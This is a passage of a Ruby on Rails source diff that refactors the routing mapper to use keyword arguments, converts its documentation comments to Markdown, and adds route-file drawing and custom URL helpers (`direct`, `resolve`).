-        #     new_post_comment        GET       /posts/:post_id/comments/new(.:format)
-        #     edit_sekret_comment     GET       /comments/:id/edit(.:format)
-        #     sekret_comment          GET       /comments/:id(.:format)
-        #     sekret_comment          PATCH/PUT /comments/:id(.:format)
-        #     sekret_comment          DELETE    /comments/:id(.:format)
+        # :format
+        # :   Allows you to specify the default value for optional `format` segment or
+        #     disable it by supplying `false`.
         #
-        # [:format]
-        #   Allows you to specify the default value for optional +format+
-        #   segment or disable it by supplying +false+.
+        # :param
+        # :   Allows you to override the default param name of `:id` in the URL.
         #
-        # === Examples
         #
-        #   # routes call <tt>Admin::PostsController</tt>
-        #   resources :posts, module: "admin"
+        # ### Examples
         #
-        #   # resource actions are at /admin/posts.
-        #   resources :posts, path: "admin/posts"
-        def resources(*resources, &block)
-          options = resources.extract_options!.dup
+        #     # routes call Admin::PostsController
+        #     resources :posts, module: "admin"
+        #
+        #     # resource actions are at /admin/posts.
+        #     resources :posts, path: "admin/posts"
+        def resources(*resources, concerns: nil, **options, &block)
+          if resources.grep(Hash).any? && (deprecated_options = resources.extract_options!)
+            concerns = assign_deprecated_option(deprecated_options, :concerns, :resources) if deprecated_options.key?(:concerns)
+            assign_deprecated_options(deprecated_options, options, :resources)
+          end
 
-          if apply_common_behavior_for(:resources, resources, options, &block)
+          if apply_common_behavior_for(:resources, resources, concerns:, **options, &block)
             return self
           end
 
           with_scope_level(:resources) do
-            options = apply_action_options options
-            resource_scope(Resource.new(resources.pop, api_only?, @scope[:shallow], options)) do
+            options = apply_action_options :resources, options
+            resource_scope(Resource.new(resources.pop, api_only?, @scope[:shallow], **options)) do
               yield if block_given?
 
-              concerns(options[:concerns]) if options[:concerns]
+              concerns(*concerns) if concerns
 
               collection do
                 get  :index if parent_resource.actions.include?(:index)
@@ -1444,40 +1695,37 @@ def resources(*resources, &block)
 
         # To add a route to the collection:
         #
-        #   resources :photos do
-        #     collection do
-        #       get 'search'
+        #     resources :photos do
+        #       collection do
+        #         get 'search'
+        #       end
         #     end
-        #   end
         #
-        # This will enable Rails to recognize paths such as <tt>/photos/search</tt>
-        # with GET, and route to the search action of +PhotosController+. It will also
-        # create the <tt>search_photos_url</tt> and <tt>search_photos_path</tt>
-        # route helpers.
-        def collection
+        # This will enable Rails to recognize paths such as `/photos/search` with GET,
+        # and route to the search action of `PhotosController`. It will also create the
+        # `search_photos_url` and `search_photos_path` route helpers.
+        def collection(&block)
           unless resource_scope?
             raise ArgumentError, "can't use collection outside resource(s) scope"
           end
 
           with_scope_level(:collection) do
-            path_scope(parent_resource.collection_scope) do
-              yield
-            end
+            path_scope(parent_resource.collection_scope, &block)
           end
         end
 
         # To add a member route, add a member block into the resource block:
         #
-        #   resources :photos do
-        #     member do
-        #       get 'preview'
+        #     resources :photos do
+        #       member do
+        #         get 'preview'
+        #       end
         #     end
-        #   end
         #
-        # This will recognize <tt>/photos/1/preview</tt> with GET, and route to the
-        # preview action of +PhotosController+. It will also create the
-        # <tt>preview_photo_url</tt> and <tt>preview_photo_path</tt> helpers.
-        def member
+        # This will recognize `/photos/1/preview` with GET, and route to the preview
+        # action of `PhotosController`. It will also create the `preview_photo_url` and
+        # `preview_photo_path` helpers.
+        def member(&block)
           unless resource_scope?
             raise ArgumentError, "can't use member outside resource(s) scope"
           end
@@ -1485,27 +1733,25 @@ def member
           with_scope_level(:member) do
             if shallow?
               shallow_scope {
-                path_scope(parent_resource.member_scope) { yield }
+                path_scope(parent_resource.member_scope, &block)
               }
             else
-              path_scope(parent_resource.member_scope) { yield }
+              path_scope(parent_resource.member_scope, &block)
             end
           end
         end
 
-        def new
+        def new(&block)
           unless resource_scope?
             raise ArgumentError, "can't use new outside resource(s) scope"
           end
 
           with_scope_level(:new) do
-            path_scope(parent_resource.new_scope(action_path(:new))) do
-              yield
-            end
+            path_scope(parent_resource.new_scope(action_path(:new)), &block)
           end
         end
 
-        def nested
+        def nested(&block)
           unless resource_scope?
             raise ArgumentError, "can't use nested outside resource(s) scope"
           end
@@ -1514,19 +1760,19 @@ def nested
             if shallow? && shallow_nesting_depth >= 1
               shallow_scope do
                 path_scope(parent_resource.nested_scope) do
-                  scope(nested_options) { yield }
+                  scope(**nested_options, &block)
                 end
               end
             else
               path_scope(parent_resource.nested_scope) do
-                scope(nested_options) { yield }
+                scope(**nested_options, &block)
               end
             end
           end
         end
 
-        # See ActionDispatch::Routing::Mapper::Scoping#namespace
-        def namespace(path, options = {})
+        # See ActionDispatch::Routing::Mapper::Scoping#namespace.
+        def namespace(name, deprecated_options = nil, as: DEFAULT, path: DEFAULT, shallow_path: DEFAULT, shallow_prefix: DEFAULT, **options, &block)
           if resource_scope?
             nested { super }
           else
@@ -1545,59 +1791,115 @@ def shallow?
           !parent_resource.singleton? && @scope[:shallow]
         end
 
-        # Matches a url pattern to one or more routes.
-        # For more information, see match[rdoc-ref:Base#match].
+        # Loads another routes file with the given `name` located inside the
+        # `config/routes` directory. In that file, you can use the normal routing DSL,
+        # but *do not* surround it with a `Rails.application.routes.draw` block.
         #
-        #   match 'path' => 'controller#action', via: patch
-        #   match 'path', to: 'controller#action', via: :post
-        #   match 'path', 'otherpath', on: :member, via: :get
-        def match(path, *rest, &block)
-          if rest.empty? && Hash === path
-            options  = path
-            path, to = options.find { |name, _value| name.is_a?(String) }
+        #     # config/routes.rb
+        #     Rails.application.routes.draw do
+        #       draw :admin                 # Loads `config/routes/admin.rb`
+        #       draw "third_party/some_gem" # Loads `config/routes/third_party/some_gem.rb`
+        #     end
+        #
+        #     # config/routes/admin.rb
+        #     namespace :admin do
+        #       resources :accounts
+        #     end
+        #
+        #     # config/routes/third_party/some_gem.rb
+        #     mount SomeGem::Engine, at: "/some_gem"
+        #
+        # **CAUTION:** Use this feature with care. Having multiple routes files can
+        # negatively impact discoverability and readability. For most applications —
+        # even those with a few hundred routes — it's easier for developers to have a
+        # single routes file.
+        def draw(name)
+          path = @draw_paths.find do |_path|
+            File.exist? "#{_path}/#{name}.rb"
+          end
+
+          unless path
+            msg  = "Your router tried to #draw the external file #{name}.rb,\n" \
+                   "but the file was not found in:\n\n"
+            msg += @draw_paths.map { |_path| " * #{_path}" }.join("\n")
+            raise ArgumentError, msg
+          end
 
-            raise ArgumentError, "Route path not specified" if path.nil?
+          route_path = "#{path}/#{name}.rb"
+          instance_eval(File.read(route_path), route_path.to_s)
+        end
 
-            case to
-            when Symbol
-              options[:action] = to
-            when String
-              if to =~ /#/
-                options[:to] = to
-              else
-                options[:controller] = to
-              end
+        # Matches a URL pattern to one or more routes. For more information, see
+        # [match](rdoc-ref:Base#match).
+        #
+        #     match 'path', to: 'controller#action', via: :post
+        #     match 'otherpath', on: :member, via: :get
+        def match(*path_or_actions, as: DEFAULT, via: nil, to: nil, controller: nil, action: nil, on: nil, defaults: nil, constraints: nil, anchor: nil, format: nil, path: nil, internal: nil, **mapping, &block)
+          if path_or_actions.grep(Hash).any? && (deprecated_options = path_or_actions.extract_options!)
+            as = assign_deprecated_option(deprecated_options, :as, :match) if deprecated_options.key?(:as)
+            via ||= assign_deprecated_option(deprecated_options, :via, :match)
+            to ||= assign_deprecated_option(deprecated_options, :to, :match)
+            controller ||= assign_deprecated_option(deprecated_options, :controller, :match)
+            action ||= assign_deprecated_option(deprecated_options, :action, :match)
+            on ||= assign_deprecated_option(deprecated_options, :on, :match)
+            defaults ||= assign_deprecated_option(deprecated_options, :defaults, :match)
+            constraints ||= assign_deprecated_option(deprecated_options, :constraints, :match)
+            anchor = assign_deprecated_option(deprecated_options, :anchor, :match) if deprecated_options.key?(:anchor)
+            format = assign_deprecated_option(deprecated_options, :format, :match) if deprecated_options.key?(:format)
+            path ||= assign_deprecated_option(deprecated_options, :path, :match)
+            internal ||= assign_deprecated_option(deprecated_options, :internal, :match)
+            assign_deprecated_options(deprecated_options, mapping, :match)
+          end
+
+          raise ArgumentError, "Wrong number of arguments (expect 1, got #{path_or_actions.count})" if path_or_actions.count > 1
+
+          if path_or_actions.none? && mapping.any?
+            hash_path, hash_to = mapping.find { |key, _| key.is_a?(String) }
+            if hash_path.nil?
+              raise ArgumentError, "Route path not specified"
             else
-              options[:to] = to
+              mapping.delete(hash_path)
             end
 
-            options.delete(path)
-            paths = [path]
-          else
-            options = rest.pop || {}
-            paths = [path] + rest
+            if hash_path
+              path_or_actions.push hash_path
+              case hash_to
+              when Symbol
+                action ||= hash_to
+              when String
+                if hash_to.include?("#")
+                  to ||= hash_to
+                else
+                  controller ||= hash_to
+                end
+              else
+                to ||= hash_to
+              end
+            end
           end
 
-          if options.key?(:defaults)
-            defaults(options.delete(:defaults)) { map_match(paths, options, &block) }
-          else
-            map_match(paths, options, &block)
+          path_or_actions.each do |path_or_action|
+            if defaults
+              defaults(defaults) { map_match(path_or_action, as:, via:, to:, controller:, action:, on:, constraints:, anchor:, format:, path:, internal:, mapping:, &block) }
+            else
+              map_match(path_or_action, as:, via:, to:, controller:, action:, on:, constraints:, anchor:, format:, path:, internal:, mapping:, &block)
+            end
           end
         end
 
         # You can specify what Rails should route "/" to with the root method:
         #
-        #   root to: 'pages#main'
+        #     root to: 'pages#main'
         #
-        # For options, see +match+, as +root+ uses it internally.
+        # For options, see `match`, as `root` uses it internally.
         #
         # You can also pass a string which will expand
         #
-        #   root 'pages#main'
+        #     root 'pages#main'
         #
-        # You should put the root route at the top of <tt>config/routes.rb</tt>,
-        # because this means it will be matched first. As this is the most popular route
-        # of most Rails applications, this is beneficial.
+        # You should put the root route at the top of `config/routes.rb`, because this
+        # means it will be matched first. As this is the most popular route of most
+        # Rails applications, this is beneficial.
         def root(path, options = {})
           if path.is_a?(String)
             options[:to] = path
@@ -1619,26 +1921,25 @@ def root(path, options = {})
         end
 
         private
-
           def parent_resource
             @scope[:scope_level_resource]
           end
 
-          def apply_common_behavior_for(method, resources, options, &block)
+          def apply_common_behavior_for(method, resources, shallow: nil, **options, &block)
             if resources.length > 1
-              resources.each { |r| send(method, r, options, &block) }
+              resources.each { |r| public_send(method, r, shallow:, **options, &block) }
               return true
             end
 
-            if options.delete(:shallow)
-              shallow do
-                send(method, resources.pop, options, &block)
+            if shallow
+              self.shallow do
+                public_send(method, resources.pop, **options, &block)
               end
               return true
             end
 
             if resource_scope?
-              nested { send(method, resources.pop, options, &block) }
+              nested { public_send(method, resources.pop, shallow:, **options, &block) }
               return true
             end
 
@@ -1647,9 +1948,11 @@ def apply_common_behavior_for(method, resources, options, &block)
             end
 
             scope_options = options.slice!(*RESOURCE_OPTIONS)
+            scope_options[:shallow] = shallow unless shallow.nil?
+
             unless scope_options.empty?
-              scope(scope_options) do
-                send(method, resources.pop, options, &block)
+              scope(**scope_options) do
+                public_send(method, resources.pop, **options, &block)
               end
               return true
             end
@@ -1657,17 +1960,32 @@ def apply_common_behavior_for(method, resources, options, &block)
             false
           end
 
-          def apply_action_options(options)
+          def apply_action_options(method, options)
             return options if action_options? options
-            options.merge scope_action_options
+            options.merge scope_action_options(method)
           end
 
           def action_options?(options)
             options[:only] || options[:except]
           end
 
-          def scope_action_options
-            @scope[:action_options] || {}
+          def scope_action_options(method)
+            return {} unless @scope[:action_options]
+
+            actions = applicable_actions_for(method)
+            @scope[:action_options].dup.tap do |options|
+              (options[:only] = Array(options[:only]) & actions) if options[:only]
+              (options[:except] = Array(options[:except]) & actions) if options[:except]
+            end
+          end
+
+          def applicable_actions_for(method)
+            case method
+            when :resource
+              SingletonResource.default_actions(api_only?)
+            when :resources
+              Resource.default_actions(api_only?)
+            end
           end
 
           def resource_scope?
@@ -1689,10 +2007,10 @@ def with_scope_level(kind) # :doc:
             @scope = @scope.parent
           end
 
-          def resource_scope(resource)
+          def resource_scope(resource, &block)
             @scope = @scope.new(scope_level_resource: resource)
 
-            controller(resource.resource_scope) { yield }
+            controller(resource.resource_scope, &block)
           ensure
             @scope = @scope.parent
           end
@@ -1725,9 +2043,10 @@ def canonical_action?(action)
           end
 
           def shallow_scope
-            scope = { as: @scope[:shallow_prefix],
-                      path: @scope[:shallow_path] }
-            @scope = @scope.new scope
+            @scope = @scope.new(
+              as: @scope[:shallow_prefix],
+              path: @scope[:shallow_path],
+            )
 
             yield
           ensure
@@ -1749,7 +2068,7 @@ def action_path(name)
           end
 
           def prefix_name_for_action(as, action)
-            if as
+            if as && as != DEFAULT
               prefix = as
             elsif !canonical_action?(action)
               prefix = action
@@ -1765,7 +2084,7 @@ def name_for_action(as, action)
             name_prefix = @scope[:as]
 
             if parent_resource
-              return nil unless as || action
+              return nil unless as != DEFAULT || action
 
               collection_name = parent_resource.collection_name
               member_name = parent_resource.member_name
@@ -1775,11 +2094,11 @@ def name_for_action(as, action)
             candidate = action_name.select(&:present?).join("_")
 
             unless candidate.empty?
-              # If a name was not explicitly given, we check if it is valid
-              # and return nil in case it isn't. Otherwise, we pass the invalid name
-              # forward so the underlying router engine treats it and raises an exception.
-              if as.nil?
-                candidate unless candidate !~ /\A[_a-z]/i || has_named_route?(candidate)
+              # If a name was not explicitly given, we check if it is valid and return nil in
+              # case it isn't. Otherwise, we pass the invalid name forward so the underlying
+              # router engine treats it and raises an exception.
+              if as == DEFAULT
+                candidate unless !candidate.match?(/\A[_a-z]/i) || has_named_route?(candidate)
               else
                 candidate
               end
@@ -1809,42 +2128,35 @@ def path_scope(path)
             @scope = @scope.parent
           end
 
-          def map_match(paths, options)
-            if options[:on] && !VALID_ON_OPTIONS.include?(options[:on])
+          def map_match(path_or_action, constraints: nil, anchor: nil, format: nil, path: nil, as: DEFAULT, via: nil, to: nil, controller: nil, action: nil, on: nil, internal: nil, mapping: nil)
+            if on && !VALID_ON_OPTIONS.include?(on)
               raise ArgumentError, "Unknown scope #{on.inspect} given to :on"
             end
 
             if @scope[:to]
-              options[:to] ||= @scope[:to]
+              to ||= @scope[:to]
             end
 
             if @scope[:controller] && @scope[:action]
-              options[:to] ||= "#{@scope[:controller]}##{@scope[:action]}"
+              to ||= "#{@scope[:controller]}##{@scope[:action]}"
             end
 
-            controller = options.delete(:controller) || @scope[:controller]
-            option_path = options.delete :path
-            to = options.delete :to
-            via = Mapping.check_via Array(options.delete(:via) {
-              @scope[:via]
-            })
-            formatted = options.delete(:format) { @scope[:format] }
-            anchor = options.delete(:anchor) { true }
-            options_constraints = options.delete(:constraints) || {}
-
-            path_types = paths.group_by(&:class)
-            path_types.fetch(String, []).each do |_path|
-              route_options = options.dup
-              if _path && option_path
-                raise ArgumentError, "Ambigous route definition. Both :path and the route path where specified as strings."
-              end
-              to = get_to_from_path(_path, to, route_options[:action])
-              decomposed_match(_path, controller, route_options, _path, to, via, formatted, anchor, options_constraints)
-            end
+            controller ||= @scope[:controller]
+            via = Mapping.check_via Array(via || @scope[:via])
+            format ||= @scope[:format] if format.nil?
+            anchor ||= true if anchor.nil?
+            constraints ||= {}
 
-            path_types.fetch(Symbol, []).each do |action|
-              route_options = options.dup
-              decomposed_match(action, controller, route_options, option_path, to, via, formatted, anchor, options_constraints)
+            case path_or_action
+            when String
+              if path_or_action && path
+                raise ArgumentError, "Ambiguous route definition. Both :path and the route path were specified as strings."
+              end
+              path = path_or_action
+              to = get_to_from_path(path_or_action, to, action)
+              decomposed_match(path, controller, as, action, path, to, via, format, anchor, constraints, internal, mapping, on)
+            when Symbol
+              decomposed_match(path_or_action, controller, as, action, path, to, via, format, anchor, constraints, internal, mapping, on)
             end
 
             self
@@ -1855,143 +2167,133 @@ def get_to_from_path(path, to, action)
 
             path_without_format = path.sub(/\(\.:format\)$/, "")
             if using_match_shorthand?(path_without_format)
-              path_without_format.gsub(%r{^/}, "").sub(%r{/([^/]*)$}, '#\1').tr("-", "_")
+              path_without_format.delete_prefix("/").sub(%r{/([^/]*)$}, '#\1').tr("-", "_")
             else
               nil
             end
           end
 
           def using_match_shorthand?(path)
-            path =~ %r{^/?[-\w]+/[-\w/]+$}
+            %r{^/?[-\w]+/[-\w/]+$}.match?(path)
           end
 
-          def decomposed_match(path, controller, options, _path, to, via, formatted, anchor, options_constraints)
-            if on = options.delete(:on)
-              send(on) { decomposed_match(path, controller, options, _path, to, via, formatted, anchor, options_constraints) }
+          def decomposed_match(path, controller, as, action, _path, to, via, formatted, anchor, options_constraints, internal, options_mapping, on = nil)
+            if on
+              send(on) { decomposed_match(path, controller, as, action, _path, to, via, formatted, anchor, options_constraints, internal, options_mapping) }
             else
               case @scope.scope_level
               when :resources
-                nested { decomposed_match(path, controller, options, _path, to, via, formatted, anchor, options_constraints) }
+                nested { decomposed_match(path, controller, as, action, _path, to, via, formatted, anchor, options_constraints, internal, options_mapping) }
               when :resource
-                member { decomposed_match(path, controller, options, _path, to, via, formatted, anchor, options_constraints) }
+                member { decomposed_match(path, controller, as, action, _path, to, via, formatted, anchor, options_constraints, internal, options_mapping) }
               else
-                add_route(path, controller, options, _path, to, via, formatted, anchor, options_constraints)
+                add_route(path, controller, as, action, _path, to, via, formatted, anchor, options_constraints, internal, options_mapping)
               end
             end
           end
 
-          def add_route(action, controller, options, _path, to, via, formatted, anchor, options_constraints)
+          def add_route(action, controller, as, options_action, _path, to, via, formatted, anchor, options_constraints, internal, options_mapping)
             path = path_for_action(action, _path)
             raise ArgumentError, "path is required" if path.blank?
 
             action = action.to_s
 
-            default_action = options.delete(:action) || @scope[:action]
+            default_action = options_action || @scope[:action]
 
-            if action =~ /^[\w\-\/]+$/
+            if /^[\w\-\/]+$/.match?(action)
               default_action ||= action.tr("-", "_") unless action.include?("/")
             else
               action = nil
             end
 
-            as = if !options.fetch(:as, true) # if it's set to nil or false
-              options.delete(:as)
-            else
-              name_for_action(options.delete(:as), action)
-            end
-
-            path = Mapping.normalize_path URI.parser.escape(path), formatted
-            ast = Journey::Parser.parse path
+            as   = name_for_action(as, action) if as
+            path = Mapping.normalize_path URI::RFC2396_PARSER.escape(path), formatted
+            ast  = Journey::Parser.parse path
 
-            mapping = Mapping.build(@scope, @set, ast, controller, default_action, to, via, formatted, options_constraints, anchor, options)
-            @set.add_route(mapping, ast, as, anchor)
+            mapping = Mapping.build(@scope, @set, ast, controller, default_action, to, via, formatted, options_constraints, anchor, internal, options_mapping)
+            @set.add_route(mapping, as)
           end
 
           def match_root_route(options)
-            name = has_named_route?(name_for_action(:root, nil)) ? nil : :root
-            args = ["/", { as: name, via: :get }.merge!(options)]
-
-            match(*args)
+            match("/", as: :root, via: :get, **options)
           end
       end
 
-      # Routing Concerns allow you to declare common routes that can be reused
-      # inside others resources and routes.
+      # Routing Concerns allow you to declare common routes that can be reused inside
+      # others resources and routes.
       #
-      #   concern :commentable do
-      #     resources :comments
-      #   end
+      #     concern :commentable do
+      #       resources :comments
+      #     end
       #
-      #   concern :image_attachable do
-      #     resources :images, only: :index
-      #   end
+      #     concern :image_attachable do
+      #       resources :images, only: :index
+      #     end
       #
       # These concerns are used in Resources routing:
       #
-      #   resources :messages, concerns: [:commentable, :image_attachable]
+      #     resources :messages, concerns: [:commentable, :image_attachable]
       #
       # or in a scope or namespace:
       #
-      #   namespace :posts do
-      #     concerns :commentable
-      #   end
+      #     namespace :posts do
+      #       concerns :commentable
+      #     end
       module Concerns
         # Define a routing concern using a name.
         #
-        # Concerns may be defined inline, using a block, or handled by
-        # another object, by passing that object as the second parameter.
+        # Concerns may be defined inline, using a block, or handled by another object,
+        # by passing that object as the second parameter.
         #
-        # The concern object, if supplied, should respond to <tt>call</tt>,
-        # which will receive two parameters:
+        # The concern object, if supplied, should respond to `call`, which will receive
+        # two parameters:
         #
-        #   * The current mapper
-        #   * A hash of options which the concern object may use
+        #     * The current mapper
+        #     * A hash of options which the concern object may use
         #
-        # Options may also be used by concerns defined in a block by accepting
-        # a block parameter. So, using a block, you might do something as
-        # simple as limit the actions available on certain resources, passing
-        # standard resource options through the concern:
+        # Options may also be used by concerns defined in a block by accepting a block
+        # parameter. So, using a block, you might do something as simple as limit the
+        # actions available on certain resources, passing standard resource options
+        # through the concern:
         #
-        #   concern :commentable do |options|
-        #     resources :comments, options
-        #   end
+        #     concern :commentable do |options|
+        #       resources :comments, options
+        #     end
         #
-        #   resources :posts, concerns: :commentable
-        #   resources :archived_posts do
-        #     # Don't allow comments on archived posts
-        #     concerns :commentable, only: [:index, :show]
-        #   end
+        #     resources :posts, concerns: :commentable
+        #     resources :archived_posts do
+        #       # Don't allow comments on archived posts
+        #       concerns :commentable, only: [:index, :show]
+        #     end
         #
-        # Or, using a callable object, you might implement something more
-        # specific to your application, which would be out of place in your
-        # routes file.
+        # Or, using a callable object, you might implement something more specific to
+        # your application, which would be out of place in your routes file.
         #
-        #   # purchasable.rb
-        #   class Purchasable
-        #     def initialize(defaults = {})
-        #       @defaults = defaults
-        #     end
+        #     # purchasable.rb
+        #     class Purchasable
+        #       def initialize(defaults = {})
+        #         @defaults = defaults
+        #       end
         #
-        #     def call(mapper, options = {})
-        #       options = @defaults.merge(options)
-        #       mapper.resources :purchases
-        #       mapper.resources :receipts
-        #       mapper.resources :returns if options[:returnable]
+        #       def call(mapper, options = {})
+        #         options = @defaults.merge(options)
+        #         mapper.resources :purchases
+        #         mapper.resources :receipts
+        #         mapper.resources :returns if options[:returnable]
+        #       end
         #     end
-        #   end
         #
-        #   # routes.rb
-        #   concern :purchasable, Purchasable.new(returnable: true)
+        #     # routes.rb
+        #     concern :purchasable, Purchasable.new(returnable: true)
         #
-        #   resources :toys, concerns: :purchasable
-        #   resources :electronics, concerns: :purchasable
-        #   resources :pets do
-        #     concerns :purchasable, returnable: false
-        #   end
+        #     resources :toys, concerns: :purchasable
+        #     resources :electronics, concerns: :purchasable
+        #     resources :pets do
+        #       concerns :purchasable, returnable: false
+        #     end
         #
-        # Any routing helpers can be used inside a concern. If using a
-        # callable, they're accessible from the Mapper that's passed to
-        # <tt>call</tt>.
+        # Any routing helpers can be used inside a concern. If using a callable, they're
+        # accessible from the Mapper that's passed to `call`.
         def concern(name, callable = nil, &block)
           callable ||= lambda { |mapper, options| mapper.instance_exec(options, &block) }
           @concerns[name] = callable
@@ -1999,17 +2301,16 @@ def concern(name, callable = nil, &block)
 
         # Use the named concerns
         #
-        #   resources :posts do
-        #     concerns :commentable
-        #   end
+        #     resources :posts do
+        #       concerns :commentable
+        #     end
         #
-        # concerns also work in any routes helper that you want to use:
+        # Concerns also work in any routes helper that you want to use:
         #
-        #   namespace :posts do
-        #     concerns :commentable
-        #   end
-        def concerns(*args)
-          options = args.extract_options!
+        #     namespace :posts do
+        #       concerns :commentable
+        #     end
+        def concerns(*args, **options)
           args.flatten.each do |name|
             if concern = @concerns[name]
               concern.call(self, options)
@@ -2020,6 +2321,122 @@ def concerns(*args)
         end
       end
 
+      module CustomUrls
+        # Define custom URL helpers that will be added to the application's routes. This
+        # allows you to override and/or replace the default behavior of routing helpers,
+        # e.g:
+        #
+        #     direct :homepage do
+        #       "https://rubyonrails.org"
+        #     end
+        #
+        #     direct :commentable do |model|
+        #       [ model, anchor: model.dom_id ]
+        #     end
+        #
+        #     direct :main do
+        #       { controller: "pages", action: "index", subdomain: "www" }
+        #     end
+        #
+        # The return value from the block passed to `direct` must be a valid set of
+        # arguments for `url_for` which will actually build the URL string. This can be
+        # one of the following:
+        #
+        # *   A string, which is treated as a generated URL
+        # *   A hash, e.g. `{ controller: "pages", action: "index" }`
+        # *   An array, which is passed to `polymorphic_url`
+        # *   An Active Model instance
+        # *   An Active Model class
+        #
+        #
+        # NOTE: Other URL helpers can be called in the block but be careful not to
+        # invoke your custom URL helper again otherwise it will result in a stack
+        # overflow error.
+        #
+        # You can also specify default options that will be passed through to your URL
+        # helper definition, e.g:
+        #
+        #     direct :browse, page: 1, size: 10 do |options|
+        #       [ :products, options.merge(params.permit(:page, :size).to_h.symbolize_keys) ]
+        #     end
+        #
+        # In this instance the `params` object comes from the context in which the block
+        # is executed, e.g. generating a URL inside a controller action or a view. If
+        # the block is executed where there isn't a `params` object such as this:
+        #
+        #     Rails.application.routes.url_helpers.browse_path
+        #
+        # then it will raise a `NameError`. Because of this you need to be aware of the
+        # context in which you will use your custom URL helper when defining it.
+        #
+        # NOTE: The `direct` method can't be used inside of a scope block such as
+        # `namespace` or `scope` and will raise an error if it detects that it is.
+        def direct(name, options = {}, &block)
+          unless @scope.root?
+            raise RuntimeError, "The direct method can't be used inside a routes scope block"
+          end
+
+          @set.add_url_helper(name, options, &block)
+        end
+
+        # Define custom polymorphic mappings of models to URLs. This alters the behavior
+        # of `polymorphic_url` and consequently the behavior of `link_to`, `form_with`
+        # and `form_for` when passed a model instance, e.g:
+        #
+        #     resource :basket
+        #
+        #     resolve "Basket" do
+        #       [:basket]
+        #     end
+        #
+        # This will now generate "/basket" when a `Basket` instance is passed to
+        # `link_to`, `form_with` or `form_for` instead of the standard "/baskets/:id".
+        #
+        # NOTE: This custom behavior only applies to simple polymorphic URLs where a
+        # single model instance is passed and not more complicated forms, e.g:
+        #
+        #     # config/routes.rb
+        #     resource :profile
+        #     namespace :admin do
+        #       resources :users
+        #     end
+        #
+        #     resolve("User") { [:profile] }
+        #
+        #     # app/views/application/_menu.html.erb
+        #     link_to "Profile", @current_user
+        #     link_to "Profile", [:admin, @current_user]
+        #
+        # The first `link_to` will generate "/profile" but the second will generate the
+        # standard polymorphic URL of "/admin/users/1".
+        #
+        # You can pass options to a polymorphic mapping - the arity for the block needs
+        # to be two as the instance is passed as the first argument, e.g:
+        #
+        #     resolve "Basket", anchor: "items" do |basket, options|
+        #       [:basket, options]
+        #     end
+        #
+        # This generates the URL "/basket#items" because when the last item in an array
+        # passed to `polymorphic_url` is a hash then it's treated as options to the URL
+        # helper that gets called.
+        #
+        # NOTE: The `resolve` method can't be used inside of a scope block such as
+        # `namespace` or `scope` and will raise an error if it detects that it is.
+        def resolve(*args, &block)
+          unless @scope.root?
+            raise RuntimeError, "The resolve method can't be used inside a routes scope block"
+          end
+
+          options = args.extract_options!
+          args = args.flatten(1)
+
+          args.each do |klass|
+            @set.add_polymorphic_mapping(klass, options, &block)
+          end
+        end
+      end
+
       class Scope # :nodoc:
         OPTIONS = [:path, :shallow_path, :as, :shallow_prefix, :module,
                    :controller, :action, :path_names, :constraints,
@@ -2030,9 +2447,9 @@ class Scope # :nodoc:
 
         attr_reader :parent, :scope_level
 
-        def initialize(hash, parent = NULL, scope_level = nil)
-          @hash = hash
+        def initialize(hash, parent = ROOT, scope_level = nil)
           @parent = parent
+          @hash = parent ? parent.frame.merge(hash) : hash
           @scope_level = scope_level
         end
 
@@ -2040,6 +2457,14 @@ def nested?
           scope_level == :nested
         end
 
+        def null?
+          @hash.nil? && @parent.nil?
+        end
+
+        def root?
+          @parent == ROOT
+        end
+
         def resources?
           scope_level == :resources
         end
@@ -2082,27 +2507,29 @@ def new_level(level)
         end
 
         def [](key)
-          scope = find { |node| node.frame.key? key }
-          scope && scope.frame[key]
+          frame[key]
         end
 
+        def frame; @hash; end
+
         include Enumerable
 
         def each
           node = self
-          until node.equal? NULL
+          until node.equal? ROOT
             yield node
             node = node.parent
           end
         end
 
-        def frame; @hash; end
-
-        NULL = Scope.new(nil, nil)
+        ROOT = Scope.new({}, nil)
       end
 
-      def initialize(set) #:nodoc:
+      DEFAULT = Object.new # :nodoc:
+
+      def initialize(set) # :nodoc:
         @set = set
+        @draw_paths = set.draw_paths
         @scope = Scope.new(path_names: @set.resources_path_names)
         @concerns = {}
       end
@@ -2113,6 +2540,7 @@ def initialize(set) #:nodoc:
       include Scoping
       include Concerns
       include Resources
+      include CustomUrls
     end
   end
 end
diff --git a/actionpack/lib/action_dispatch/routing/polymorphic_routes.rb b/actionpack/lib/action_dispatch/routing/polymorphic_routes.rb
index 432b9bf4c1bb8..02c8a84d019f6 100644
--- a/actionpack/lib/action_dispatch/routing/polymorphic_routes.rb
+++ b/actionpack/lib/action_dispatch/routing/polymorphic_routes.rb
@@ -1,100 +1,111 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
 module ActionDispatch
   module Routing
-    # Polymorphic URL helpers are methods for smart resolution to a named route call when
-    # given an Active Record model instance. They are to be used in combination with
-    # ActionController::Resources.
+    # # Action Dispatch Routing PolymorphicRoutes
+    #
+    # Polymorphic URL helpers are methods for smart resolution to a named route call
+    # when given an Active Record model instance. They are to be used in combination
+    # with ActionController::Resources.
     #
-    # These methods are useful when you want to generate the correct URL or path to a RESTful
-    # resource without having to know the exact type of the record in question.
+    # These methods are useful when you want to generate the correct URL or path to
+    # a RESTful resource without having to know the exact type of the record in
+    # question.
     #
-    # Nested resources and/or namespaces are also supported, as illustrated in the example:
+    # Nested resources and/or namespaces are also supported, as illustrated in the
+    # example:
     #
-    #   polymorphic_url([:admin, @article, @comment])
+    #     polymorphic_url([:admin, @article, @comment])
     #
     # results in:
     #
-    #   admin_article_comment_url(@article, @comment)
+    #     admin_article_comment_url(@article, @comment)
+    #
+    # ## Usage within the framework
+    #
+    # Polymorphic URL helpers are used in a number of places throughout the Rails
+    # framework:
     #
-    # == Usage within the framework
+    # *   `url_for`, so you can use it with a record as the argument, e.g.
+    #     `url_for(@article)`;
+    # *   ActionView::Helpers::FormHelper uses `polymorphic_path`, so you can write
+    #     `form_with(model: @article)` without having to specify `:url` parameter for the
+    #     form action;
+    # *   `redirect_to` (which, in fact, uses `url_for`) so you can write
+    #     `redirect_to(post)` in your controllers;
+    # *   ActionView::Helpers::AtomFeedHelper, so you don't have to explicitly
+    #     specify URLs for feed entries.
     #
-    # Polymorphic URL helpers are used in a number of places throughout the \Rails framework:
     #
-    # * <tt>url_for</tt>, so you can use it with a record as the argument, e.g.
-    #   <tt>url_for(@article)</tt>;
-    # * ActionView::Helpers::FormHelper uses <tt>polymorphic_path</tt>, so you can write
-    #   <tt>form_for(@article)</tt> without having to specify <tt>:url</tt> parameter for the form
-    #   action;
